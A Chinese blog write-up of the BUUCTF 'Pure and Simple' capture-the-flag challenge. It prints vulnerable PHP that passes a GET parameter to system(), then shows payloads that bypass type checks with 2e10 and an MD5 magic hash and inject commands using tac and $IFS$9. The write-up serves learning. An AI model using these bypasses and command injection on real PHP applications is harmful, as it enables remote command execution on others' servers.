BUUCTF————朴实无华

发布于:2025-05-12 ⋅ 阅读:(20) ⋅ 点赞:(0)

BUUCTF————朴实无华

进入靶场

在这里插入图片描述

简单的看了一下框架和源代码

没有什么能利用的信息

在这里插入图片描述

在这里插入图片描述

拼接robots.txt发现有泄露路径

在这里插入图片描述

/fAke_f1agggg.php

拼接访问发现一个假的flag

在这里插入图片描述

直接看看数据包

发现一个look_at_me: /fl4g.php的参数

在这里插入图片描述

拼接访问一下

/fl4g.php

在这里插入图片描述

还有一段php代码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

level1

  1. intval($num)的值小于2020
  2. intval($num + 1)的值大于2021

绕过方法:可以利用PHP的类型转换特性。传递一个科学计数法形式的字符串,如2e10

  • intval("2e10")会将其转换为2(因为e被当作非数字字符)

  • "2e10" + 1会被PHP自动转换为浮点数20000000000 + 1 = 20000000001

  • intval(20000000001)会大于2021

    ?num=2e10
    

level2

需要传递一个md5参数,使得该字符串的MD5哈希值等于字符串本身(弱类型比较,使用==

绕过方法:寻找一个字符串,其MD5哈希值以0e开头,后面全是数字(PHP会将这种字符串当作科学计数法的0)。例如:

  • 字符串"0e215962017"的MD5是"0e291242476940776845150308577824"

  • 使用==比较时,“0e…”"0e…"会被当作00

    md5=0e215962017
    

level3

  1. 传递get_flag参数
  2. 参数中不能包含空格
  3. 会替换"cat"为"wctf2020"(不区分大小写)

目标:执行系统命令获取flag

绕过方法

  1. 使用不包含空格的命令执行方式

  2. 绕过"cat"过滤(可以使用tacmoreless等替代)

    get_flag=ls
    

根据这段代码构造payload

?num=2e10&md5=0e215962017&get_flag=ls

浏览器有点乱码

直接看数据包吧

在这里插入图片描述

发现fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag应该就是payload

构造payload

?num=2e10&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
  • $IFS 是 Linux 的 Internal Field Separator(内部字段分隔符),默认包含空格、制表符(\t)和换行符(\n)。
  • $9 是一个 shell 变量,通常为空,但可以用于绕过某些过滤(比如 strstr($get_flag, " ") 检查空格)。
  • 组合 $IFS$9 可以确保即使 $IFS 被修改,仍然能作为分隔符使用。

拿到flag

在这里插入图片描述

flag{8db609e5-e082-48b0-8c8a-91203de71524}

下播!!!!!!

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到